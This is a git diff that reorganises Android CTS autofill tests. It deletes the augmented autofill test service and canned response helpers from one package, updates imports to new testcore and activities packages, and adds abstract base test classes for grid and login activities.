-        public Builder(@NonNull AugmentedResponseType type) {
-            mResponseType = type;
-        }
-
-        public Builder() {
-            this(AugmentedResponseType.NORMAL);
-        }
-
-        /**
-         * Sets the {@link Dataset} that will be filled when the given {@code ids} is focused and
-         * the UI is tapped.
-         */
-        @NonNull
-        public Builder setDataset(@NonNull Dataset dataset, @NonNull AutofillId... ids) {
-            if (mOnlyDataset != null) {
-                throw new IllegalStateException("already called setOnlyDataset()");
-            }
-            for (AutofillId id : ids) {
-                mDatasets.put(id, dataset);
-            }
-            return this;
-        }
-
-        /**
-         * The {@link android.service.autofill.Dataset}s representing the inline suggestions data.
-         * Defaults to null if no inline suggestions are available from the service.
-         */
-        @NonNull
-        public Builder addInlineSuggestion(@NonNull Dataset dataset) {
-            if (mInlineSuggestions == null) {
-                mInlineSuggestions = new ArrayList<>();
-            }
-            mInlineSuggestions.add(dataset);
-            return this;
-        }
-
-        /**
-         * Sets the delay for onFillRequest().
-         */
-        public Builder setDelay(long delay) {
-            mDelay = delay;
-            return this;
-        }
-
-        /**
-         * Sets the only dataset that will be returned.
-         *
-         * <p>Used when the test case doesn't know the autofill id of the focused field.
-         * @param dataset
-         */
-        @NonNull
-        public Builder setOnlyDataset(@NonNull Dataset dataset) {
-            if (!mDatasets.isEmpty()) {
-                throw new IllegalStateException("already called setDataset()");
-            }
-            mOnlyDataset = dataset;
-            return this;
-        }
-
-        @NonNull
-        public CannedAugmentedFillResponse build() {
-            return new CannedAugmentedFillResponse(this);
-        }
-    } // CannedAugmentedFillResponse.Builder
-
-
-    /**
-     * Helper class used to define which fields will be autofilled when the user taps the Augmented
-     * Autofill UI.
-     */
-    public static class Dataset {
-        private final Map<AutofillId, AutofillValue> mFieldValuesById;
-        private final Map<AutofillId, InlinePresentation> mFieldPresentationById;
-        private final String mPresentation;
-        private final AutofillValue mOnlyFieldValue;
-        private final IntentSender mAuthentication;
-
-        private Dataset(@NonNull Builder builder) {
-            mFieldValuesById = builder.mFieldValuesById;
-            mPresentation = builder.mPresentation;
-            mOnlyFieldValue = builder.mOnlyFieldValue;
-            mFieldPresentationById = builder.mFieldPresentationById;
-            this.mAuthentication = builder.mAuthentication;
-        }
-
-        @NonNull
-        public List<Pair<AutofillId, AutofillValue>> getValues() {
-            return mFieldValuesById.entrySet().stream()
-                    .map((entry) -> (new Pair<>(entry.getKey(), entry.getValue())))
-                    .collect(Collectors.toList());
-        }
-
-        @Nullable
-        public AutofillValue getOnlyFieldValue() {
-            return mOnlyFieldValue;
-        }
-
-        @Override
-        public String toString() {
-            return "Dataset: [presentation=" + mPresentation
-                    + ", onlyField=" + mOnlyFieldValue
-                    + ", fields=" + mFieldValuesById
-                    + ", auth=" + mAuthentication
-                    + "]";
-        }
-
-        public static class Builder {
-            private final Map<AutofillId, AutofillValue> mFieldValuesById = new ArrayMap<>();
-            private final Map<AutofillId, InlinePresentation> mFieldPresentationById =
-                    new ArrayMap<>();
-
-            private final String mPresentation;
-            private AutofillValue mOnlyFieldValue;
-            private IntentSender mAuthentication;
-
-            public Builder(@NonNull String presentation) {
-                mPresentation = Objects.requireNonNull(presentation);
-            }
-
-            /**
-             * Sets the value that will be autofilled on the field with {@code id}.
-             */
-            public Builder setField(@NonNull AutofillId id, @NonNull String text) {
-                if (mOnlyFieldValue != null) {
-                    throw new IllegalStateException("already called setOnlyField()");
-                }
-                mFieldValuesById.put(id, AutofillValue.forText(text));
-                return this;
-            }
-
-            /**
-             * Sets the value that will be autofilled on the field with {@code id}.
-             */
-            public Builder setField(@NonNull AutofillId id, @NonNull String text,
-                    @NonNull InlinePresentation presentation) {
-                if (mOnlyFieldValue != null) {
-                    throw new IllegalStateException("already called setOnlyField()");
-                }
-                mFieldValuesById.put(id, AutofillValue.forText(text));
-                mFieldPresentationById.put(id, presentation);
-                return this;
-            }
-
-            /**
-             * Sets this dataset to return the given {@code text} for the focused field.
-             *
-             * <p>Used when the test case doesn't know the autofill id of the focused field.
-             */
-            public Builder setOnlyField(@NonNull String text) {
-                if (!mFieldValuesById.isEmpty()) {
-                    throw new IllegalStateException("already called setField()");
-                }
-                mOnlyFieldValue = AutofillValue.forText(text);
-                return this;
-            }
-
-            /**
-             * Sets the authentication intent for this dataset.
-             */
-            public Builder setAuthentication(IntentSender authentication) {
-                mAuthentication = authentication;
-                return this;
-            }
-
-            public Dataset build() {
-                return new Dataset(this);
-            }
-        } // Dataset.Builder
-    } // Dataset
-} // CannedAugmentedFillResponse
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/ClipboardAccessTest.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/ClipboardAccessTest.java
index e002d3e..1a02332 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/ClipboardAccessTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/ClipboardAccessTest.java
@@ -20,6 +20,7 @@
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import android.autofillservice.cts.commontests.AugmentedAutofillManualActivityLaunchTestCase;
 import android.content.ClipData;
 import android.content.ClipboardManager;
 import android.platform.test.annotations.AppModeFull;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/CtsAugmentedAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/CtsAugmentedAutofillService.java
deleted file mode 100644
index 3604955..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/CtsAugmentedAutofillService.java
+++ /dev/null
@@ -1,443 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts.augmented;
-
-import static android.autofillservice.cts.Timeouts.FILL_EVENTS_TIMEOUT;
-import static android.autofillservice.cts.augmented.AugmentedHelper.await;
-import static android.autofillservice.cts.augmented.AugmentedHelper.getActivityName;
-import static android.autofillservice.cts.augmented.AugmentedTimeouts.AUGMENTED_CONNECTION_TIMEOUT;
-import static android.autofillservice.cts.augmented.AugmentedTimeouts.AUGMENTED_FILL_TIMEOUT;
-import static android.autofillservice.cts.augmented.CannedAugmentedFillResponse.AugmentedResponseType.NULL;
-import static android.autofillservice.cts.augmented.CannedAugmentedFillResponse.AugmentedResponseType.TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.autofillservice.cts.Helper;
-import android.content.ComponentName;
-import android.content.Context;
-import android.os.CancellationSignal;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.SystemClock;
-import android.service.autofill.FillEventHistory;
-import android.service.autofill.FillEventHistory.Event;
-import android.service.autofill.augmented.AugmentedAutofillService;
-import android.service.autofill.augmented.FillCallback;
-import android.service.autofill.augmented.FillController;
-import android.service.autofill.augmented.FillRequest;
-import android.service.autofill.augmented.FillResponse;
-import android.util.ArraySet;
-import android.util.Log;
-import android.view.autofill.AutofillManager;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import com.android.compatibility.common.util.RetryableException;
-import com.android.compatibility.common.util.TestNameUtils;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Implementation of {@link AugmentedAutofillService} used in the tests.
- */
-public class CtsAugmentedAutofillService extends AugmentedAutofillService {
-
-    private static final String TAG = CtsAugmentedAutofillService.class.getSimpleName();
-
-    public static final String SERVICE_PACKAGE = Helper.MY_PACKAGE;
-    public static final String SERVICE_CLASS = CtsAugmentedAutofillService.class.getSimpleName();
-
-    public static final String SERVICE_NAME = SERVICE_PACKAGE + "/.augmented." + SERVICE_CLASS;
-
-    private static final AugmentedReplier sAugmentedReplier = new AugmentedReplier();
-
-    // We must handle all requests in a separate thread as the service's main thread is the also
-    // the UI thread of the test process and we don't want to hose it in case of failures here
-    private static final HandlerThread sMyThread = new HandlerThread("MyAugmentedServiceThread");
-    private final Handler mHandler;
-
-    private final CountDownLatch mConnectedLatch = new CountDownLatch(1);
-    private final CountDownLatch mDisconnectedLatch = new CountDownLatch(1);
-
-    private static ServiceWatcher sServiceWatcher;
-
-    static {
-        Log.i(TAG, "Starting thread " + sMyThread);
-        sMyThread.start();
-    }
-
-    public CtsAugmentedAutofillService() {
-        mHandler = Handler.createAsync(sMyThread.getLooper());
-    }
-
-    @NonNull
-    public static ServiceWatcher setServiceWatcher() {
-        if (sServiceWatcher != null) {
-            throw new IllegalStateException("There Can Be Only One!");
-        }
-        sServiceWatcher = new ServiceWatcher();
-        return sServiceWatcher;
-    }
-
-
-    public static void resetStaticState() {
-        List<Throwable> exceptions = sAugmentedReplier.mExceptions;
-        if (exceptions != null) {
-            exceptions.clear();
-        }
-        // TODO(b/123540602): should probably set sInstance to null as well, but first we would need
-        // to make sure each test unbinds the service.
-
-        // TODO(b/123540602): each test should use a different service instance, but we need
-        // to provide onConnected() / onDisconnected() methods first and then change the infra so
-        // we can wait for those
-
-        if (sServiceWatcher != null) {
-            Log.wtf(TAG, "resetStaticState(): should not have sServiceWatcher");
-            sServiceWatcher = null;
-        }
-    }
-
-    @Override
-    public void onConnected() {
-        Log.i(TAG, "onConnected(): sServiceWatcher=" + sServiceWatcher);
-
-        if (sServiceWatcher == null) {
-            addException("onConnected() without a watcher");
-            return;
-        }
-
-        if (sServiceWatcher.mService != null) {
-            addException("onConnected(): already created: %s", sServiceWatcher);
-            return;
-        }
-
-        sServiceWatcher.mService = this;
-        sServiceWatcher.mCreated.countDown();
-
-        Log.d(TAG, "Whitelisting " + Helper.MY_PACKAGE + " for augmented autofill");
-        final ArraySet<String> packages = new ArraySet<>(1);
-        packages.add(Helper.MY_PACKAGE);
-
-        final AutofillManager afm = getApplication().getSystemService(AutofillManager.class);
-        if (afm == null) {
-            addException("No AutofillManager on application context on onConnected()");
-            return;
-        }
-        afm.setAugmentedAutofillWhitelist(packages, /* activities= */ null);
-
-        if (mConnectedLatch.getCount() == 0) {
-            addException("already connected: %s", mConnectedLatch);
-        }
-        mConnectedLatch.countDown();
-    }
-
-    @Override
-    public void onDisconnected() {
-        Log.i(TAG, "onDisconnected(): sServiceWatcher=" + sServiceWatcher);
-
-        if (mDisconnectedLatch.getCount() == 0) {
-            addException("already disconnected: %s", mConnectedLatch);
-        }
-        mDisconnectedLatch.countDown();
-
-        if (sServiceWatcher == null) {
-            addException("onDisconnected() without a watcher");
-            return;
-        }
-        if (sServiceWatcher.mService == null) {
-            addException("onDisconnected(): no service on %s", sServiceWatcher);
-            return;
-        }
-
-        sServiceWatcher.mDestroyed.countDown();
-        sServiceWatcher.mService = null;
-        sServiceWatcher = null;
-    }
-
-    public FillEventHistory getFillEventHistory(int expectedSize) throws Exception {
-        return FILL_EVENTS_TIMEOUT.run("getFillEvents(" + expectedSize + ")", () -> {
-            final FillEventHistory history = getFillEventHistory();
-            if (history == null) {
-                return null;
-            }
-            final List<Event> events = history.getEvents();
-            if (events != null) {
-                assertWithMessage("Didn't get " + expectedSize + " events yet: " + events).that(
-                        events.size()).isEqualTo(expectedSize);
-            } else {
-                assertWithMessage("Events is null (expecting " + expectedSize + ")").that(
-                        expectedSize).isEqualTo(0);
-                return null;
-            }
-            return history;
-        });
-    }
-
-    /**
-     * Waits until the system calls {@link #onConnected()}.
-     */
-    public void waitUntilConnected() throws InterruptedException {
-        await(mConnectedLatch, "not connected");
-    }
-
-    /**
-     * Waits until the system calls {@link #onDisconnected()}.
-     */
-    public void waitUntilDisconnected() throws InterruptedException {
-        await(mDisconnectedLatch, "not disconnected");
-    }
-
-    @Override
-    public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
-            FillController controller, FillCallback callback) {
-        Log.i(TAG, "onFillRequest(): " + AugmentedHelper.toString(request));
-
-        final ComponentName component = request.getActivityComponent();
-
-        if (!TestNameUtils.isRunningTest()) {
-            Log.e(TAG, "onFillRequest(" + component + ") called after tests finished");
-            return;
-        }
-        mHandler.post(() -> sAugmentedReplier.handleOnFillRequest(getApplicationContext(), request,
-                cancellationSignal, controller, callback));
-    }
-
-    /**
-     * Gets the {@link AugmentedReplier} singleton.
-     */
-    static AugmentedReplier getAugmentedReplier() {
-        return sAugmentedReplier;
-    }
-
-    private static void addException(@NonNull String fmt, @Nullable Object...args) {
-        final String msg = String.format(fmt, args);
-        Log.e(TAG, msg);
-        sAugmentedReplier.addException(new IllegalStateException(msg));
-    }
-
-    /**
-     * POJO representation of the contents of a {@link FillRequest}
-     * that can be asserted at the end of a test case.
-     */
-    public static final class AugmentedFillRequest {
-        public final FillRequest request;
-        public final CancellationSignal cancellationSignal;
-        public final FillController controller;
-        public final FillCallback callback;
-
-        private AugmentedFillRequest(FillRequest request, CancellationSignal cancellationSignal,
-                FillController controller, FillCallback callback) {
-            this.request = request;
-            this.cancellationSignal = cancellationSignal;
-            this.controller = controller;
-            this.callback = callback;
-        }
-
-        @Override
-        public String toString() {
-            return "AugmentedFillRequest[activity=" + getActivityName(request) + ", request="
-                    + AugmentedHelper.toString(request) + "]";
-        }
-    }
-
-    /**
-     * Object used to answer a
-     * {@link AugmentedAutofillService#onFillRequest(FillRequest, CancellationSignal,
-     * FillController, FillCallback)} on behalf of a unit test method.
-     */
-    public static final class AugmentedReplier {
-
-        private final BlockingQueue<CannedAugmentedFillResponse> mResponses =
-                new LinkedBlockingQueue<>();
-        private final BlockingQueue<AugmentedFillRequest> mFillRequests =
-                new LinkedBlockingQueue<>();
-
-        private List<Throwable> mExceptions;
-        private boolean mReportUnhandledFillRequest = true;
-
-        private AugmentedReplier() {
-        }
-
-        /**
-         * Gets the exceptions thrown asynchronously, if any.
-         */
-        @Nullable
-        public List<Throwable> getExceptions() {
-            return mExceptions;
-        }
-
-        private void addException(@Nullable Throwable e) {
-            if (e == null) return;
-
-            if (mExceptions == null) {
-                mExceptions = new ArrayList<>();
-            }
-            mExceptions.add(e);
-        }
-
-        /**
-         * Sets the expectation for the next {@code onFillRequest}.
-         */
-        public AugmentedReplier addResponse(@NonNull CannedAugmentedFillResponse response) {
-            if (response == null) {
-                throw new IllegalArgumentException("Cannot be null - use NO_RESPONSE instead");
-            }
-            mResponses.add(response);
-            return this;
-        }
-        /**
-         * Gets the next fill request, in the order received.
-         */
-        public AugmentedFillRequest getNextFillRequest() {
-            AugmentedFillRequest request;
-            try {
-                request = mFillRequests.poll(AUGMENTED_FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                Thread.currentThread().interrupt();
-                throw new IllegalStateException("Interrupted", e);
-            }
-            if (request == null) {
-                throw new RetryableException(AUGMENTED_FILL_TIMEOUT, "onFillRequest() not called");
-            }
-            return request;
-        }
-
-        /**
-         * Asserts all {@link AugmentedAutofillService#onFillRequest(FillRequest,
-         * CancellationSignal, FillController, FillCallback)} received by the service were properly
-         * {@link #getNextFillRequest() handled} by the test case.
-         */
-        public void assertNoUnhandledFillRequests() {
-            if (mFillRequests.isEmpty()) return; // Good job, test case!
-
-            if (!mReportUnhandledFillRequest) {
-                // Just log, so it's not thrown again on @After if already thrown on main body
-                Log.d(TAG, "assertNoUnhandledFillRequests(): already reported, "
-                        + "but logging just in case: " + mFillRequests);
-                return;
-            }
-
-            mReportUnhandledFillRequest = false;
-            throw new AssertionError(mFillRequests.size() + " unhandled fill requests: "
-                    + mFillRequests);
-        }
-
-        /**
-         * Gets the current number of unhandled requests.
-         */
-        public int getNumberUnhandledFillRequests() {
-            return mFillRequests.size();
-        }
-
-        /**
-         * Resets its internal state.
-         */
-        public void reset() {
-            mResponses.clear();
-            mFillRequests.clear();
-            mExceptions = null;
-            mReportUnhandledFillRequest = true;
-        }
-
-        private void handleOnFillRequest(@NonNull Context context, @NonNull FillRequest request,
-                @NonNull CancellationSignal cancellationSignal, @NonNull FillController controller,
-                @NonNull FillCallback callback) {
-            final AugmentedFillRequest myRequest = new AugmentedFillRequest(request,
-                    cancellationSignal, controller, callback);
-            Log.d(TAG, "offering " + myRequest);
-            Helper.offer(mFillRequests, myRequest, AUGMENTED_CONNECTION_TIMEOUT.ms());
-            try {
-                final CannedAugmentedFillResponse response;
-                try {
-                    response = mResponses.poll(AUGMENTED_CONNECTION_TIMEOUT.ms(),
-                            TimeUnit.MILLISECONDS);
-                } catch (InterruptedException e) {
-                    Log.w(TAG, "Interrupted getting CannedAugmentedFillResponse: " + e);
-                    Thread.currentThread().interrupt();
-                    addException(e);
-                    return;
-                }
-                if (response == null) {
-                    Log.w(TAG, "onFillRequest() for " + getActivityName(request)
-                            + " received when no canned response was set.");
-                    return;
-                }
-
-                // sleep for timeout tests.
-                final long delay = response.getDelay();
-                if (delay > 0) {
-                    SystemClock.sleep(response.getDelay());
-                }
-
-                if (response.getResponseType() == NULL) {
-                    Log.d(TAG, "onFillRequest(): replying with null");
-                    callback.onSuccess(null);
-                    return;
-                }
-
-                if (response.getResponseType() == TIMEOUT) {
-                    Log.d(TAG, "onFillRequest(): not replying at all");
-                    return;
-                }
-
-                Log.v(TAG, "onFillRequest(): response = " + response);
-                final FillResponse fillResponse = response.asFillResponse(context, request,
-                        controller);
-                Log.v(TAG, "onFillRequest(): fillResponse = " + fillResponse);
-                callback.onSuccess(fillResponse);
-            } catch (Throwable t) {
-                addException(t);
-            }
-        }
-    }
-
-    public static final class ServiceWatcher {
-
-        private final CountDownLatch mCreated = new CountDownLatch(1);
-        private final CountDownLatch mDestroyed = new CountDownLatch(1);
-
-        private CtsAugmentedAutofillService mService;
-
-        @NonNull
-        public CtsAugmentedAutofillService waitOnConnected() throws InterruptedException {
-            await(mCreated, "not created");
-
-            if (mService == null) {
-                throw new IllegalStateException("not created");
-            }
-
-            return mService;
-        }
-
-        public void waitOnDisconnected() throws InterruptedException {
-            await(mDestroyed, "not destroyed");
-        }
-
-        @Override
-        public String toString() {
-            return "mService: " + mService + " created: " + (mCreated.getCount() == 0)
-                    + " destroyed: " + (mDestroyed.getCount() == 0);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/DisableAutofillTest.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/DisableAutofillTest.java
index 366cf60..4d4b186 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/DisableAutofillTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/DisableAutofillTest.java
@@ -16,13 +16,15 @@
 
 package android.autofillservice.cts.augmented;
 
-import static android.autofillservice.cts.augmented.AugmentedHelper.assertBasicRequestInfo;
-import static android.autofillservice.cts.augmented.AugmentedHelper.resetAugmentedService;
+import static android.autofillservice.cts.testcore.AugmentedHelper.assertBasicRequestInfo;
+import static android.autofillservice.cts.testcore.AugmentedHelper.resetAugmentedService;
 
-import android.autofillservice.cts.CannedFillResponse;
-import android.autofillservice.cts.PreSimpleSaveActivity;
-import android.autofillservice.cts.SimpleSaveActivity;
-import android.autofillservice.cts.augmented.CtsAugmentedAutofillService.AugmentedFillRequest;
+import android.autofillservice.cts.activities.PreSimpleSaveActivity;
+import android.autofillservice.cts.activities.SimpleSaveActivity;
+import android.autofillservice.cts.commontests.AugmentedAutofillManualActivityLaunchTestCase;
+import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiObject2;
 import android.view.autofill.AutofillId;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractGridActivityTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractGridActivityTestCase.java
new file mode 100644
index 0000000..e23a59d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractGridActivityTestCase.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.commontests;
+
+import android.autofillservice.cts.activities.GridActivity;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.Timeouts;
+import android.autofillservice.cts.testcore.WindowChangeTimeoutException;
+import android.view.accessibility.AccessibilityEvent;
+
+import java.util.concurrent.TimeoutException;
+
+/**
+ * Base class for test cases using {@link GridActivity}.
+ */
+public abstract class AbstractGridActivityTestCase
+        extends AutoFillServiceTestCase.AutoActivityLaunch<GridActivity> {
+
+    protected GridActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<GridActivity> getActivityRule() {
+        return new AutofillActivityTestRule<GridActivity>(GridActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+                postActivityLaunched();
+            }
+        };
+    }
+
+    /**
+     * Hook for subclass to customize activity after it's launched.
+     */
+    protected void postActivityLaunched() {
+    }
+
+    /**
+     * Focus to a cell and expect window event
+     */
+    protected void focusCell(int row, int column) throws TimeoutException {
+        mUiBot.waitForWindowChange(() -> mActivity.focusCell(row, column));
+    }
+
+    /**
+     * Focus to a cell and expect no window event.
+     */
+    protected void focusCellNoWindowChange(int row, int column) {
+        final AccessibilityEvent event;
+        try {
+            event = mUiBot.waitForWindowChange(() -> mActivity.focusCell(row, column),
+                    Timeouts.WINDOW_CHANGE_NOT_GENERATED_NAPTIME_MS);
+        } catch (WindowChangeTimeoutException ex) {
+            // no window events! looking good
+            return;
+        }
+        throw new IllegalStateException(String.format("Expect no window event when focusing to"
+                + " column %d row %d, but event happened: %s", row, column, event));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractLoginActivityTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractLoginActivityTestCase.java
new file mode 100644
index 0000000..33e99a1
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractLoginActivityTestCase.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.commontests;
+
+import android.autofillservice.cts.activities.LoginActivity;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.Timeouts;
+import android.autofillservice.cts.testcore.UiBot;
+import android.autofillservice.cts.testcore.WindowChangeTimeoutException;
+import android.view.View;
+import android.view.accessibility.AccessibilityEvent;
+
+import java.util.concurrent.TimeoutException;
+
+/**
+ * Base class for test cases using {@link LoginActivity}.
+ */
+public abstract class AbstractLoginActivityTestCase
+        extends AutoFillServiceTestCase.AutoActivityLaunch<LoginActivity> {
+
+    protected LoginActivity mActivity;
+
+    protected AbstractLoginActivityTestCase() {
+    }
+
+    protected AbstractLoginActivityTestCase(UiBot inlineUiBot) {
+        super(inlineUiBot);
+    }
+
+    @Override
+    protected AutofillActivityTestRule<LoginActivity> getActivityRule() {
+        return new AutofillActivityTestRule<LoginActivity>(
+                LoginActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    /**
+     * Requests focus on username and expect Window event happens.
+     */
+    protected void requestFocusOnUsername() throws TimeoutException {
+        mUiBot.waitForWindowChange(() -> mActivity.onUsername(View::requestFocus));
+    }
+
+    /**
+     * Requests focus on username and expect no Window event happens.
+     */
+    protected void requestFocusOnUsernameNoWindowChange() {
+        final AccessibilityEvent event;
+        try {
+            event = mUiBot.waitForWindowChange(() -> mActivity.onUsername(View::requestFocus),
+                    Timeouts.WINDOW_CHANGE_NOT_GENERATED_NAPTIME_MS);
+        } catch (WindowChangeTimeoutException ex) {
+            // no window events! looking good
+            return;
+        }
+        throw new IllegalStateException("Expect no window event when focusing to"
+                + " username, but event happened: " + event);
+    }
+
+    /**
+     * Requests focus on password and expect Window event happens.
+     */
+    protected void requestFocusOnPassword() throws TimeoutException {
+        mUiBot.waitForWindowChange(() -> mActivity.onPassword(View::requestFocus));
+    }
+
+    /**
+     * Clears focus from input fields by focusing on the parent layout.
+     */
+    protected void clearFocus() {
+        mActivity.clearFocus();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractLoginNotImportantForAutofillTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractLoginNotImportantForAutofillTestCase.java
new file mode 100644
index 0000000..eb5b87a
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractLoginNotImportantForAutofillTestCase.java
@@ -0,0 +1,234 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.commontests;
+
+import static android.autofillservice.cts.testcore.AugmentedHelper.assertBasicRequestInfo;
+import static android.autofillservice.cts.testcore.CannedAugmentedFillResponse.NO_AUGMENTED_RESPONSE;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+
+import android.autofillservice.cts.activities.LoginNotImportantForAutofillActivity;
+import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.EditText;
+
+import org.junit.Test;
+
+public abstract class AbstractLoginNotImportantForAutofillTestCase<A extends
+        LoginNotImportantForAutofillActivity> extends
+        AugmentedAutofillAutoActivityLaunchTestCase<A> {
+
+    protected A mActivity;
+
+    @Test
+    public void testAutofill_none() throws Exception {
+        // Set services
+        enableService();
+        enableAugmentedService();
+
+        // Set expectations
+        final EditText username = mActivity.getUsername();
+        final AutofillValue expectedFocusedValue = username.getAutofillValue();
+        final AutofillId expectedFocusedId = username.getAutofillId();
+        sAugmentedReplier.addResponse(NO_AUGMENTED_RESPONSE);
+
+        // Trigger autofill
+        mActivity.onUsername(View::requestFocus);
+        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        assertBasicRequestInfo(request, mActivity, expectedFocusedId, expectedFocusedValue);
+
+        // Make sure standard Autofill UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Make sure Augmented Autofill UI is not shown.
+        mAugmentedUiBot.assertUiNeverShown();
+    }
+
+    @Test
+    public void testAutofill_oneField() throws Exception {
+        // Set services
+        enableService();
+        enableAugmentedService();
+
+        // Set expectations
+        final EditText username = mActivity.getUsername();
+        final AutofillId usernameId = username.getAutofillId();
+        final AutofillValue expectedFocusedValue = username.getAutofillValue();
+        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
+                        .setField(usernameId, "dude")
+                        .build(), usernameId)
+                .build());
+        mActivity.expectAutoFill("dude");
+
+        // Trigger autofill
+        mActivity.onUsername(View::requestFocus);
+        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        assertBasicRequestInfo(request, mActivity, usernameId, expectedFocusedValue);
+
+        // Make sure standard Autofill UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Make sure Augmented Autofill UI is shown.
+        final UiObject2 ui = mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
+
+        // Autofill
+        ui.click();
+        mActivity.assertAutoFilled();
+        mAugmentedUiBot.assertUiGone();
+    }
+
+    @Test
+    public void testAutofill_twoFields() throws Exception {
+        // Set services
+        enableService();
+        enableAugmentedService();
+
+        // Set expectations
+        final EditText username = mActivity.getUsername();
+        final AutofillId usernameId = username.getAutofillId();
+        final AutofillValue expectedFocusedValue = username.getAutofillValue();
+        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
+                        .setField(usernameId, "dude")
+                        .setField(mActivity.getPassword().getAutofillId(), "sweet")
+                        .build(), usernameId)
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill
+        mActivity.onUsername(View::requestFocus);
+        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
